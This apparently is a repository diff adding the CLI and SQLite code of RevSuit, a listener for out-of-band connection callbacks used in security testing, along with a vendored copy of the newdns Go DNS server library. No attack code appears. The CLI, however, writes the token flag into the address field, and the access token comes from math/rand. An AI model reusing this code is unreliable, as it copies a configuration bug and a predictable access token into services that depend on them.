k8s.io/klog v1.0.0/go.mod h1:4Bi6QPql/J/LkTDqv7R/cd3hPo4k2DG6Ptcz060Ez5I=
k8s.io/kube-openapi v0.0.0-20191107075043-30be4d16710a/go.mod h1:1TqjTSzOxsLGIKfj0lK8EeCP7K1iUG65v09OM0/WG5E=
k8s.io/utils v0.0.0-20191114184206-e782cd3c129f/go.mod h1:sZAwmy6armz5eXlNoLmJcl4F1QuKu7sr+mFQ0byX7Ew=
modernc.org/cc v1.0.0/go.mod h1:1Sk4//wdnYJiUIxnW8ddKpaOJCF37yAdqYnkxUpaYxw=
modernc.org/golex v1.0.0/go.mod h1:b/QX9oBD/LhixY6NDh+IdGv17hgB+51fET1i2kPSmvk=
modernc.org/mathutil v1.0.0/go.mod h1:wU0vUrJsVWBZ4P6e7xtFJEhFSNsfRLJ8H458uRjg03k=
modernc.org/strutil v1.0.0/go.mod h1:lstksw84oURvj9y3tn8lGvRxyRC1S2+g5uuIzNfIOBs=
modernc.org/xc v1.0.0/go.mod h1:mRNCo0bvLjGhHO9WsyuKVU4q0ceiDDDoEeWDJHrNx8I=
rsc.io/binaryregexp v0.2.0/go.mod h1:qTv7/COck+e2FymRvadv62gMdZztPaShugOCi3I+8D8=
sigs.k8s.io/structured-merge-diff v0.0.0-20190525122527-15d366b2352e/go.mod h1:wWxsB5ozmmv/SG7nM11ayaAW51xMvak/t1r0CSlcokI=
sigs.k8s.io/structured-merge-diff v1.0.1-0.20191108220359-b1b620dd3f06/go.mod h1:/ULNhyfzRopfcjskuui0cTITekDduZ7ycKN3oUT9R18=
sigs.k8s.io/yaml v1.1.0/go.mod h1:UJmg0vDUVViEyp3mgSv9WPwZCDxu4rQW1olrI1uml+o=
unknwon.dev/clog/v2 v2.2.0 h1:jkPdsxux0MC04BT/9NHbT75z4prK92SH10VBNmIpVCc=
unknwon.dev/clog/v2 v2.2.0/go.mod h1:zvUlyibDHI4mykYdWyWje2G9nF/nBzfDOqRo2my4mWc=
vitess.io/vitess v0.9.0 h1:AiBFrhzTCqXcDutjPMp7FtkX2s3dXQBg252rGho6rn8=
vitess.io/vitess v0.9.0/go.mod h1:0eX/mIMRc3Kl62gXTORUC/ozkV57fZ8gw7eSXmVIrz8=
+1
View File
@@ -0,0 +1 @@
package cli
+65
View File
@@ -0,0 +1,65 @@
package cli
import (
"io/ioutil"
"os"
"sort"
"github.com/li4n0/revsuit/pkg/server"
"github.com/urfave/cli/v2"
"gopkg.in/yaml.v2"
log "unknwon.dev/clog/v2"
)
func Start() {
app := &cli.App{
Name: "RevSuit",
Usage: "An Open-Sourced Reverse Platform Designed for Receive Various Kinds of Connection",
Flags: []cli.Flag{
&cli.StringFlag{
Name: "addr",
Usage: "platform listened address",
},
&cli.StringFlag{
Name: "token",
Usage: "token used to manage platform",
},
&cli.StringFlag{
Name: "flags",
Usage: "for http and dns connection, platform will only record the connection those match these regex flags. * meaning record all",
},
&cli.StringFlag{
Name: "db",
Usage: "database file path",
},
},
Action: func(c *cli.Context) error {
conf := &server.Config{}
if content, err := ioutil.ReadFile("config.yaml"); err == nil {
if err := yaml.Unmarshal(content, conf); err != nil {
log.Fatal(err.Error())
}
} else {
log.Fatal(err.Error())
}
if c.String("addr") != "" {
conf.Addr = c.String("addr")
}
if c.String("token") != "" {
conf.Addr = c.String("token")
}
if c.String("db") != "" {
conf.Database = c.String("db")
}
server.New(conf).Run()
return nil
},
}
sort.Sort(cli.FlagsByName(app.Flags))
sort.Sort(cli.CommandsByName(app.Commands))
err := app.Run(os.Args)
if err != nil {
log.Fatal(err.Error())
}
}
+13
View File
@@ -0,0 +1,13 @@
package cli
import "math/rand"
const letterBytes = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!@#$%^&*()"
func genToken() string {
b := make([]byte, 8)
for i := range b {
b[i] = letterBytes[rand.Intn(len(letterBytes))]
}
return string(b)
}
+13
View File
@@ -0,0 +1,13 @@
package database
import "gorm.io/gorm"
var DB *gorm.DB
func InitDB(driver, dsn string) (err error) {
switch driver {
case "sqlite":
DB, err = NewSqlite3(dsn)
}
return
}
+27
View File
@@ -0,0 +1,27 @@
package database
import (
"database/sql/driver"
"encoding/json"
)
type MapField map[string]string
func (f MapField) Value() (driver.Value, error) {
return json.Marshal(f)
}
func (f *MapField) Scan(data interface{}) error {
return json.Unmarshal(data.([]byte), f)
}
type ListField []string
func (f ListField) Value() (driver.Value, error) {
return json.Marshal(f)
}
func (f *ListField) Scan(data interface{}) error {
return json.Unmarshal(data.([]byte), f)
}
+15
View File
@@ -0,0 +1,15 @@
package database
import (
"gorm.io/driver/sqlite"
"gorm.io/gorm"
)
func NewSqlite3(dsn string) (*gorm.DB, error) {
db, err := gorm.Open(sqlite.Open(dsn), &gorm.Config{})
if err != nil {
return nil, err
}
db.Exec("PRAGMA foreign_keys=ON")
return db, nil
}
+2
View File
@@ -0,0 +1,2 @@
# Auto detect text files and perform LF normalization
* text=auto
+12
View File
@@ -0,0 +1,12 @@
language: go
go:
- "1.12"
- tip
env:
- GO111MODULE=on
before_install:
- go get github.com/mattn/goveralls
install:
- go get -t ./...
script:
- $HOME/gopath/bin/goveralls -service=travis-ci
+21
View File
@@ -0,0 +1,21 @@
MIT License
Copyright (c) 2019 Joël Gähwiler
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
+10
View File
@@ -0,0 +1,10 @@
all: fmt vet lint
fmt:
go fmt .
vet:
go vet .
lint:
golint .
+99
View File
@@ -0,0 +1,99 @@
# newdns
[![Build Status](https://travis-ci.org/256dpi/newdns.svg?branch=master)](https://travis-ci.org/256dpi/newdns)
[![Coverage Status](https://coveralls.io/repos/github/256dpi/newdns/badge.svg?branch=master)](https://coveralls.io/github/256dpi/newdns?branch=master)
[![GoDoc](https://godoc.org/github.com/256dpi/newdns?status.svg)](http://godoc.org/github.com/256dpi/newdns)
[![Release](https://img.shields.io/github/release/256dpi/newdns.svg)](https://github.com/256dpi/newdns/releases)
[![Go Report Card](https://goreportcard.com/badge/github.com/256dpi/newdns)](https://goreportcard.com/report/github.com/256dpi/newdns)
**A library for building custom DNS servers in Go.**
The newdns library wraps the widely used, but low-level [github.com/miekg/dns](https://github.com/miekg/dns) package with a simple interface to quickly build custom DNS servers. The implemented server only supports a subset of record types (A, AAAA, CNAME, MX, TXT) and is intended to be used as a leaf authoritative name server only. It supports UDP and TCP as transport protocols and implements EDNS0. Conformance is tested by issuing a corpus of tests against a zone in AWS Route53 and comparing the response and behavior.
The intention of this project is not to build a feature-complete alternative to "managed zone" offerings by major cloud platforms. However, some projects may require frequent synchronization of many records between a custom database and a cloud-hosted "managed zone". In this scenario, a custom DNS server that queries the own database might be a lot simpler to manage and operate. Also, the distributed nature of the DNS system offers interesting qualities that could be leveraged by future applications.
## Example
```go
// create zone
zone := &newdns.Zone{
Name: "example.com.",
MasterNameServer: "ns1.hostmaster.com.",
AllNameServers: []string{
"ns1.hostmaster.com.",
"ns2.hostmaster.com.",
"ns3.hostmaster.com.",
},
Handler: func(name string) ([]newdns.Set, error) {
// return apex records
if name == "" {
return []newdns.Set{
{
Name: "example.com.",
Type: newdns.A,
Records: []newdns.Record{
{Address: "1.2.3.4"},
},
},
{
Name: "example.com.",
Type: newdns.AAAA,
Records: []newdns.Record{
{Address: "1:2:3:4::"},
},
},
}, nil
}
// return sub records
if name == "foo" {
return []newdns.Set{
{
Name: "foo.example.com.",
Type: newdns.CNAME,
Records: []newdns.Record{
{Address: "bar.example.com."},
},
},
}, nil
}
return nil, nil
},
}
// create server
server := newdns.NewServer(newdns.Config{
Handler: func(name string) (*newdns.Zone, error) {
// check name
if newdns.InZone("example.com.", name) {
return zone, nil
}
return nil, nil
},
Logger: func(e newdns.Event, msg *dns.Msg, err error, reason string) {
fmt.Println(e, err, reason)
},
})
// run server
go func() {
err := server.Run(":1337")
if err != nil {
panic(err)
}
}()
// print info
fmt.Println("Query apex: dig example.com @0.0.0.0 -p 1337")
fmt.Println("Query other: dig foo.example.com @0.0.0.0 -p 1337")
// wait forever
select {}
```
## Credits
- https://github.com/miekg/dns
- https://github.com/coredns/coredns
+85
View File
@@ -0,0 +1,85 @@
package newdns
import "github.com/miekg/dns"
// Event denotes an event type emitted to the logger.
type Event int
const (
// Ignored are requests that haven been dropped by leaving the connection
// hanging to mitigate attacks. Inspect the reason for more information.
Ignored Event = iota
// Request is emitted for every accepted request. For every request event
// a finish event fill follow. You can inspect the message to see the
// complete request sent by the client.
Request Event = iota
// Refused are requests that received an error due to some incompatibility.
// Inspect the reason for more information.
Refused Event = iota
// BackendError is emitted with errors returned by the callback and
// validation functions. Inspect the error for more information.
BackendError Event = iota
// NetworkError is emitted with errors returned by the connection. Inspect
// the error for more information.
NetworkError Event = iota
// Response is emitted with the final response to the client. You can inspect
// the message to see the complete response to the client.
Response Event = iota
// Finish is emitted when a request has been processed.
Finish Event = iota
// ProxyRequest is emitted with every request forwarded to the fallback
// DNS server.
ProxyRequest Event = iota
// ProxyResponse is emitted with ever response received from the fallback
// DNS server.
ProxyResponse Event = iota
// ProxyError is emitted with errors returned by the fallback DNS server.
// Inspect the error for more information.
ProxyError Event = iota
)
// String will return the name of the event.
func (e Event) String() string {
switch e {
case Ignored:
return "Ignored"
case Request:
return "Request"
case Refused:
return "Refused"
case BackendError:
return "BackendError"
case NetworkError:
return "NetworkError"
case Response:
return "Response"
case Finish:
return "Finish"
case ProxyRequest:
return "ProxyRequest"
case ProxyResponse:
return "ProxyResponse"
case ProxyError:
return "ProxyError"
default:
return "Unknown"
}
}
// Logger is function that accepts logging events.
type Logger func(e Event, msg *dns.Msg, err error, reason string)
func log(l Logger, e Event, msg *dns.Msg, err error, reason string) {
if l != nil {
l(e, msg, err, reason)
}
}
+38
View File
@@ -0,0 +1,38 @@
package newdns
import "github.com/miekg/dns"
// Proxy returns a handler that proxies requests to the provided DNS server. The
// optional logger is called with events about the processing of requests.
func Proxy(addr string, logger Logger) dns.Handler {
return dns.HandlerFunc(func(w dns.ResponseWriter, req *dns.Msg) {
// log request
if logger != nil {
logger(ProxyRequest, req, nil, "")
}
// forward request to fallback
rs, err := dns.Exchange(req, addr)
if err != nil {
if logger != nil {
logger(ProxyError, nil, err, "")
}
_ = w.Close()
return
}
// log response
if logger != nil {
logger(ProxyResponse, rs, nil, "")
}
// write response
err = w.WriteMsg(rs)
if err != nil {
if logger != nil {
logger(NetworkError, nil, err, "")
}
_ = w.Close()
}
})
}
+48
View File
@@ -0,0 +1,48 @@
package newdns
import (
"time"
"github.com/miekg/dns"
)
// Query can be used to query a DNS server over the provided protocol on its
// address for the specified name and type. The supplied function can be set to
// mutate the sent request.
func Query(proto, addr, name, typ string, fn func(*dns.Msg)) (*dns.Msg, error) {
// prepare request
req := &dns.Msg{
MsgHdr: dns.MsgHdr{
Id: dns.Id(),
},
Question: []dns.Question{
{
Name: name,
Qtype: dns.StringToType[typ],
Qclass: dns.ClassINET,
},
},
}
// call function if available
if fn != nil {
fn(req)
}
// prepare client
client := dns.Client{
Net: proto,
Timeout: time.Second,
}
// send request
res, _, err := client.Exchange(req, addr)
if err != nil {
return nil, err
}
// reset id to allow direct comparison
res.Id = 0
return res, nil
}
+67
View File
@@ -0,0 +1,67 @@
package newdns
import (
"net"
"github.com/pkg/errors"
)
// Record holds a single DNS record.
type Record struct {
// The target address for A, AAAA, CNAME and MX records.
Address string
// The priority for MX records.
Priority int
// The data for TXT records.
Data []string
}
// Validate will validate the record.
func (r *Record) Validate(typ Type) error {
// validate A address
if typ == A {
ip := net.ParseIP(r.Address)
if ip == nil || ip.To4() == nil {
return errors.Errorf("invalid IPv4 address: %s", r.Address)
}
}
// validate AAAA address
if typ == AAAA {
ip := net.ParseIP(r.Address)
if ip == nil || ip.To16() == nil {
return errors.Errorf("invalid IPv6 address: %s", r.Address)
}
}
// validate CNAME and MX addresses
if typ == CNAME || typ == MX {
if !IsDomain(r.Address, true) {
return errors.Errorf("invalid domain name: %s", r.Address)
}
}
// check TXT data
if typ == TXT {
if len(r.Data) == 0 {
return errors.Errorf("missing data")
}
for _, data := range r.Data {
if len(data) > 255 {
return errors.Errorf("data too long")
}
}
}
// validate NS addresses
if typ == NS {
if !IsDomain(r.Address, true) {
return errors.Errorf("invalid ns name: %s", r.Address)
}
}
return nil
}
+94
View File
@@ -0,0 +1,94 @@
package newdns
import (
"testing"
"github.com/stretchr/testify/assert"
)
func TestRecordValidate(t *testing.T) {
table := []struct {
typ Type
rec Record
err string
}{
{
typ: A,
rec: Record{Address: "foo"},
err: "invalid IPv4 address: foo",
},
{
typ: AAAA,
rec: Record{Address: "foo"},
err: "invalid IPv6 address: foo",
},
{
typ: A,
rec: Record{Address: "1:2:3:4::"},
err: "invalid IPv4 address: 1:2:3:4::",
},
{
typ: A,
rec: Record{Address: "1.2.3.4"},
},
{
typ: AAAA,
rec: Record{Address: "1:2:3:4::"},
},
{
typ: CNAME,
rec: Record{Address: "---"},
err: "invalid domain name: ---",
},
{
typ: CNAME,
rec: Record{Address: "foo.com"},
err: "invalid domain name: foo.com",
},
{
typ: CNAME,
rec: Record{Address: "foo.com."},
},
{
typ: MX,
rec: Record{Address: "foo.com"},
err: "invalid domain name: foo.com",
},
{
typ: MX,
rec: Record{Address: "foo.com."},
},
{
typ: TXT,
rec: Record{Data: nil},
err: "missing data",
},
{
typ: TXT,
rec: Record{Data: []string{"z4e6ycRMp6MP3WvWQMxIAOXglxANbj3oB0xD8BffktO4eo3VCR0s6TyGHKixvarOFJU0fqNkXeFOeI7sTXH5X0iXZukfLgnGTxLXNC7KkVFwtVFsh1P0IUNXtNBlOVWrVbxkS62ezbLpENNkiBwbkCvcTjwF2kyI0curAt9JhhJFb3AAq0q1iHWlJLn1KSrev9PIsY3alndDKjYTPxAojxzGKdK3A7rWLJ8Uzb3Z5OhLwP7jTKqbWVUocJRFLYpL"}},
err: "data too long",
},
{
typ: TXT,
rec: Record{Data: []string{"foo"}},
},
{
typ: NS,
rec: Record{Address: "foo.com"},
err: "invalid ns name: foo.com",
},
{
typ: NS,
rec: Record{Address: "foo.com."},
},
}
for i, item := range table {
err := item.rec.Validate(item.typ)
if err != nil {
assert.Equal(t, item.err, err.Error(), i)
} else {
assert.Equal(t, item.err, "", item)
}
}
}
+120
View File
@@ -0,0 +1,120 @@
package newdns
import (
"net"
"github.com/miekg/dns"
)
var fakeAddr = &net.TCPAddr{
IP: net.IP{0, 0, 0, 0},
Port: 0,
}
type responseWriter struct {
msg *dns.Msg
}
func (w *responseWriter) LocalAddr() net.Addr {
return fakeAddr
}
func (w *responseWriter) RemoteAddr() net.Addr {
return fakeAddr
}
func (w *responseWriter) WriteMsg(msg *dns.Msg) error {
// check message
if w.msg != nil {
panic("message already set")
}
// set message
w.msg = msg
return nil
}
func (w *responseWriter) Write([]byte) (int, error) {
panic("not implemented")
}
func (w *responseWriter) Close() error {
return nil
}
func (w *responseWriter) TsigStatus() error {
panic("not implemented")
}
func (w *responseWriter) TsigTimersOnly(bool) {
panic("not implemented")
}
func (w *responseWriter) Hijack() {
panic("not implemented")
}
// Resolver returns a very primitive recursive resolver that uses the provided
// handler to resolve all names.
func Resolver(handler dns.Handler) dns.Handler {
return dns.HandlerFunc(func(w dns.ResponseWriter, req *dns.Msg) {
// forward query if no recursion is desired
if !req.RecursionDesired {
handler.ServeDNS(w, req)
return
}
// prepare response
res := new(dns.Msg)
res.SetReply(req)
res.RecursionAvailable = true
// query handler
var wr responseWriter
handler.ServeDNS(&wr, req)
// check response
if wr.msg == nil {
_ = w.WriteMsg(res)
return
}
// add resolved answers
res.Answer = append(res.Answer, resolve(handler, wr.msg.Answer)...)
// write response
err := w.WriteMsg(res)
if err != nil {
_ = w.Close()
}
})
}
func resolve(handler dns.Handler, records []dns.RR) []dns.RR {
// prepare result
var res []dns.RR
res = append(res, records...)
// handle records
for _, record := range records {
if cname, ok := record.(*dns.CNAME); ok {
// query handler
var wr responseWriter
handler.ServeDNS(&wr, &dns.Msg{
Question: []dns.Question{
{
Name: cname.Target,
Qtype: dns.TypeA,
Qclass: dns.ClassINET,
},
},
})
// add resolved answers
res = append(res, resolve(handler, wr.msg.Answer)...)
}
}
return res
}
+92
View File
@@ -0,0 +1,92 @@
package newdns
import (
"testing"
"github.com/miekg/dns"
"github.com/stretchr/testify/assert"
)
func TestResolver(t *testing.T) {
ret, err := Query("tcp", "1.1.1.1:53", "example.newdns.256dpi.com.", "A", func(msg *dns.Msg) {
msg.RecursionDesired = true
})
assert.NoError(t, err)
equalJSON(t, &dns.Msg{
MsgHdr: dns.MsgHdr{
Response: true,
RecursionDesired: true,
RecursionAvailable: true,
},
Question: []dns.Question{
{Name: "example.newdns.256dpi.com.", Qtype: dns.TypeA, Qclass: dns.ClassINET},
},
Answer: []dns.RR{
&dns.CNAME{
Hdr: dns.RR_Header{
Name: "example.newdns.256dpi.com.",
Rrtype: dns.TypeCNAME,
Class: dns.ClassINET,
Ttl: ret.Answer[0].(*dns.CNAME).Hdr.Ttl,
Rdlength: 10,
},
Target: "example.com.",
},
&dns.A{
Hdr: dns.RR_Header{
Name: "example.com.",
Rrtype: dns.TypeA,
Class: dns.ClassINET,
Ttl: ret.Answer[1].(*dns.A).Hdr.Ttl,
Rdlength: 4,
},
A: ret.Answer[1].(*dns.A).A,
},
},
}, ret)
addr := "0.0.0.0:53002"
mux := dns.NewServeMux()
mux.Handle("newdns.256dpi.com", Proxy(awsNS[0]+":53", nil))
mux.Handle("example.com", Proxy("a.iana-servers.net:53", nil))
handler := Resolver(mux)
serve(handler, addr, func() {
ret, err := Query("udp", addr, "example.newdns.256dpi.com.", "A", func(msg *dns.Msg) {
msg.RecursionDesired = true
})
assert.NoError(t, err)
equalJSON(t, &dns.Msg{
MsgHdr: dns.MsgHdr{
Response: true,
RecursionDesired: true,
RecursionAvailable: true,
},
Question: []dns.Question{
{Name: "example.newdns.256dpi.com.", Qtype: dns.TypeA, Qclass: dns.ClassINET},
},
Answer: []dns.RR{
&dns.CNAME{
Hdr: dns.RR_Header{
Name: "example.newdns.256dpi.com.",
Rrtype: dns.TypeCNAME,
Class: dns.ClassINET,
Ttl: ret.Answer[0].(*dns.CNAME).Hdr.Ttl,
Rdlength: 13,
},
Target: "example.com.",
},
&dns.A{
Hdr: dns.RR_Header{
Name: "example.com.",
Rrtype: dns.TypeA,
Class: dns.ClassINET,
Ttl: ret.Answer[1].(*dns.A).Hdr.Ttl,
Rdlength: 4,
},
A: ret.Answer[1].(*dns.A).A,
},
},
}, ret)
})
}
+67
View File
@@ -0,0 +1,67 @@
package newdns
import (
"fmt"
"github.com/miekg/dns"
)
// Accept will return a dns.MsgAcceptFunc that only accepts normal queries.
func Accept(logger Logger) dns.MsgAcceptFunc {
return func(dh dns.Header) dns.MsgAcceptAction {
// check if request
if dh.Bits&(1<<15) != 0 {
log(logger, Ignored, nil, nil, fmt.Sprintf("not a request"))
return dns.MsgIgnore
}
// check opcode
if int(dh.Bits>>11)&0xF != dns.OpcodeQuery {
log(logger, Ignored, nil, nil, fmt.Sprintf("not a query"))
return dns.MsgIgnore
}
// check question count
if dh.Qdcount != 1 {
log(logger, Ignored, nil, nil, fmt.Sprintf("invalid question count: %d", dh.Qdcount))
return dns.MsgIgnore
}
return dns.MsgAccept
}
}
// Run will start a UDP and TCP listener to serve the specified handler with the
// specified accept function until the provided close channel is closed. It will
// return the first error of a listener.
func Run(addr string, handler dns.Handler, accept dns.MsgAcceptFunc, close <-chan struct{}) error {
// prepare servers
udp := &dns.Server{Addr: addr, Net: "udp", Handler: handler, MsgAcceptFunc: accept}
tcp := &dns.Server{Addr: addr, Net: "tcp", Handler: handler, MsgAcceptFunc: accept}
// prepare errors
errs := make(chan error, 2)
// run udp server
go func() {
errs <- udp.ListenAndServe()
}()
// run tcp server
go func() {
errs <- tcp.ListenAndServe()
}()
// await first error
var err error
select {
case err = <-errs:
case <-close:
}
// shutdown servers
_ = udp.Shutdown()
_ = tcp.Shutdown()
return err
}
+445
View File
@@ -0,0 +1,445 @@
package newdns
import (
"fmt"
"net"
"github.com/miekg/dns"
"github.com/pkg/errors"
)
// Config provides configuration for a DNS server.
type Config struct {
// The buffer size used if EDNS is enabled by a client.
//
// Default: 1220.
BufferSize int
// The list of zones handled by this server.
//
// Default: ["."].
Zones []string
// Handler is the callback that returns a zone for the specified name.
// The returned zone must not be altered going forward.
Handler func(name string) (*Zone, error)
// The fallback DNS server to be used if the zones is not matched. Exact
// zones must be provided above for this to work.
Fallback string
// Reporter is the callback called with request errors.
Logger Logger
}
// Server is a DNS server.
type Server struct {
config Config
close chan struct{}
}
// NewServer creates and returns a new DNS server.
func NewServer(config Config) *Server {
// set default buffer size
if config.BufferSize <= 0 {
config.BufferSize = 1220
}
// set default zone
if len(config.Zones) == 0 {
config.Zones = []string{"."}
}
// check zones if fallback
if config.Fallback != "" {
for _, zone := range config.Zones {
if zone == "." {
panic(`fallback conflicts with the match all pattern "." (default)`)
}
}
}
return &Server{
config: config,
close: make(chan struct{}),
}
}
// Run will run a udp and tcp server on the specified address. It will return
// on the first accept error and close all servers.
func (s *Server) Run(addr string) error {
// prepare mux
mux := dns.NewServeMux()
// register handler
for _, zone := range s.config.Zones {
mux.Handle(zone, s)
}
// add fallback if available
if s.config.Fallback != "" {
mux.Handle(".", Proxy(s.config.Fallback, s.config.Logger))
}
// run server
err := Run(addr, mux, Accept(s.config.Logger), s.close)
if err != nil {
return err
}
return nil
}
// ServeDNS implements the dns.Handler interface.
func (s *Server) ServeDNS(w dns.ResponseWriter, req *dns.Msg) {
// get question
question := req.Question[0]
// check class
if question.Qclass != dns.ClassINET {
log(s.config.Logger, Ignored, nil, nil, fmt.Sprintf("unsupported class: %s", dns.ClassToString[question.Qclass]))
return
}
// log request and finish
log(s.config.Logger, Request, req, nil, "")
defer log(s.config.Logger, Finish, nil, nil, "")
// prepare response
res := new(dns.Msg)
res.SetReply(req)
// always compress responses
res.Compress = true
// set flag
res.Authoritative = true
// check edns
if req.IsEdns0() != nil {
// use edns in reply
res.SetEdns0(uint16(s.config.BufferSize), false)
// check version
if req.IsEdns0().Version() != 0 {
log(s.config.Logger, Refused, nil, nil, fmt.Sprintf("unsupported EDNS version: %d", req.IsEdns0().Version()))
s.writeError(w, req, res, nil, dns.RcodeBadVers)
return
}
}
// check any type
if question.Qtype == dns.TypeANY {
log(s.config.Logger, Refused, nil, nil, "unsupported type: ANY")
s.writeError(w, req, res, nil, dns.RcodeNotImplemented)
return
}
// get name
name := NormalizeDomain(question.Name, true, false, false)
// get zone
zone, err := s.config.Handler(name)
if err != nil {
err = errors.Wrap(err, "server handler error")
log(s.config.Logger, BackendError, nil, err, "")
s.writeError(w, req, res, nil, dns.RcodeServerFailure)
return
}
// check zone
if zone == nil {
log(s.config.Logger, Refused, nil, nil, "no zone")
res.Authoritative = false
s.writeError(w, req, res, nil, dns.RcodeRefused)
return
}
// validate zone
err = zone.Validate()
if err != nil {
log(s.config.Logger, BackendError, nil, err, "")
s.writeError(w, req, res, nil, dns.RcodeServerFailure)
return
}
// answer SOA directly
if question.Qtype == dns.TypeSOA && name == zone.Name {
s.writeSOAResponse(w, req, res, zone)
return
}
// answer NS directly
if question.Qtype == dns.TypeNS && name == zone.Name {
s.writeNSResponse(w, req, res, zone)
return
}
// check type
typ := Type(question.Qtype)
// return error if type is not supported
if !typ.valid() {
log(s.config.Logger, Refused, nil, nil, fmt.Sprintf("unsupported type: %s", dns.TypeToString[question.Qtype]))
s.writeError(w, req, res, zone, dns.RcodeNameError)
return
}
// lookup main answer
answer, exists, err := zone.Lookup(name, w.RemoteAddr().String(), typ)
if err != nil {
log(s.config.Logger, BackendError, nil, err, "")
s.writeError(w, req, res, nil, dns.RcodeServerFailure)
return
}
// check result
if len(answer) == 0 {
// write SOA with success code to indicate existence of other sets
if exists {
s.writeError(w, req, res, zone, dns.RcodeSuccess)
return
}
// otherwise return name error
s.writeError(w, req, res, zone, dns.RcodeNameError)
return
}
// prepare extra set
var extra []Set
// TODO: Lookup glue records for NS records?
// lookup extra sets
for _, set := range answer {
for _, record := range set.Records {
switch set.Type {
case MX:
// lookup internal MX target A and AAAA records
if InZone(zone.Name, record.Address) {
ret, _, err := zone.Lookup(record.Address, w.RemoteAddr().String(), A, AAAA)
if err != nil {
log(s.config.Logger, BackendError, nil, err, "")
s.writeError(w, req, res, nil, dns.RcodeServerFailure)
return
}
// add to extra
extra = append(extra, ret...)
}
}
}
}
// set answer
for _, set := range answer {
res.Answer = append(res.Answer, s.convert(question.Name, zone, set)...)
}
// set extra
for _, set := range extra {
res.Extra = append(res.Extra, s.convert(question.Name, zone, set)...)
}
// add ns records
for _, ns := range zone.AllNameServers {
res.Ns = append(res.Ns, &dns.NS{
Hdr: dns.RR_Header{
Name: TransferCase(question.Name, zone.Name),
Rrtype: dns.TypeNS,
Class: dns.ClassINET,
Ttl: toSeconds(zone.NSTTL),
},
Ns: ns,
})
}
// check if NS query
if typ == NS {
// move answers
res.Ns = res.Answer
res.Answer = nil
// no authoritative response for other zone in NS queries
res.Authoritative = false
}
// write message
s.writeMessage(w, req, res)
}
// Close will close the server.
func (s *Server) Close() {
defer func() { recover() }()
close(s.close)
}
func (s *Server) writeSOAResponse(w dns.ResponseWriter, rq, rs *dns.Msg, zone *Zone) {
// add soa record
rs.Answer = append(rs.Answer, &dns.SOA{
Hdr: dns.RR_Header{
Name: zone.Name,
Rrtype: dns.TypeSOA,
Class: dns.ClassINET,
Ttl: toSeconds(zone.SOATTL),
},
Ns: zone.MasterNameServer,
Mbox: emailToDomain(zone.AdminEmail),
Serial: 1,
Refresh: toSeconds(zone.Refresh),
Retry: toSeconds(zone.Retry),
Expire: toSeconds(zone.Expire),
Minttl: toSeconds(zone.MinTTL),
})
// add ns records
for _, ns := range zone.AllNameServers {
rs.Ns = append(rs.Ns, &dns.NS{
Hdr: dns.RR_Header{
Name: zone.Name,
Rrtype: dns.TypeNS,
Class: dns.ClassINET,
Ttl: toSeconds(zone.NSTTL),
},
Ns: ns,
})
}
// write message
s.writeMessage(w, rq, rs)
}
func (s *Server) writeNSResponse(w dns.ResponseWriter, rq, rs *dns.Msg, zone *Zone) {
// add ns records
for _, ns := range zone.AllNameServers {
rs.Answer = append(rs.Answer, &dns.NS{
Hdr: dns.RR_Header{
Name: zone.Name,
Rrtype: dns.TypeNS,
Class: dns.ClassINET,
Ttl: toSeconds(zone.NSTTL),
},
Ns: ns,
})
}
// write message
s.writeMessage(w, rq, rs)
}
func (s *Server) writeError(w dns.ResponseWriter, rq, rs *dns.Msg, zone *Zone, code int) {
// set code
rs.Rcode = code
// add soa record
if zone != nil {
rs.Ns = append(rs.Ns, &dns.SOA{
Hdr: dns.RR_Header{
Name: zone.Name,
Rrtype: dns.TypeSOA,
Class: dns.ClassINET,
Ttl: toSeconds(zone.SOATTL),
},
Ns: zone.MasterNameServer,
Mbox: emailToDomain(zone.AdminEmail),
Serial: 1,
Refresh: toSeconds(zone.Refresh),
Retry: toSeconds(zone.Retry),
Expire: toSeconds(zone.Expire),
Minttl: toSeconds(zone.MinTTL),
})
}
// write message
s.writeMessage(w, rq, rs)
}
func (s *Server) writeMessage(w dns.ResponseWriter, rq, rs *dns.Msg) {
// get buffer size
var buffer = 512
if rq.IsEdns0() != nil {
buffer = int(rq.IsEdns0().UDPSize())
}
// determine if client is using UDP
isUDP := w.RemoteAddr().Network() == "udp"
// truncate message if client is using UDP and message is too long
if isUDP && rs.Len() > buffer {
rs.Truncated = true
rs.Answer = nil
rs.Ns = nil
rs.Extra = nil
}
// write message
err := w.WriteMsg(rs)
if err != nil {
log(s.config.Logger, NetworkError, nil, err, "")
_ = w.Close()
return
}
// log response
log(s.config.Logger, Response, rs, nil, "")
}
func (s *Server) convert(query string, zone *Zone, set Set) []dns.RR {
// prepare header
header := dns.RR_Header{
Name: TransferCase(query, set.Name),
Rrtype: uint16(set.Type),
Class: dns.ClassINET,
Ttl: toSeconds(set.TTL),
}
// ensure zone min TTL
if set.TTL < zone.MinTTL {
header.Ttl = toSeconds(zone.MinTTL)
}
// prepare list
var list []dns.RR
// add records
for _, record := range set.Records {
// construct record
switch set.Type {
case A:
list = append(list, &dns.A{
Hdr: header,
A: net.ParseIP(record.Address),
})
case AAAA:
list = append(list, &dns.AAAA{
Hdr: header,
AAAA: net.ParseIP(record.Address),
})
case CNAME:
list = append(list, &dns.CNAME{
Hdr: header,
Target: dns.Fqdn(record.Address),
})
case MX:
list = append(list, &dns.MX{
Hdr: header,
Preference: uint16(record.Priority),
Mx: dns.Fqdn(record.Address),
})
case TXT:
list = append(list, &dns.TXT{
Hdr: header,
Txt: record.Data,
})
case NS:
list = append(list, &dns.NS{
Hdr: header,
Ns: dns.Fqdn(record.Address),
})
}
}
return list
}
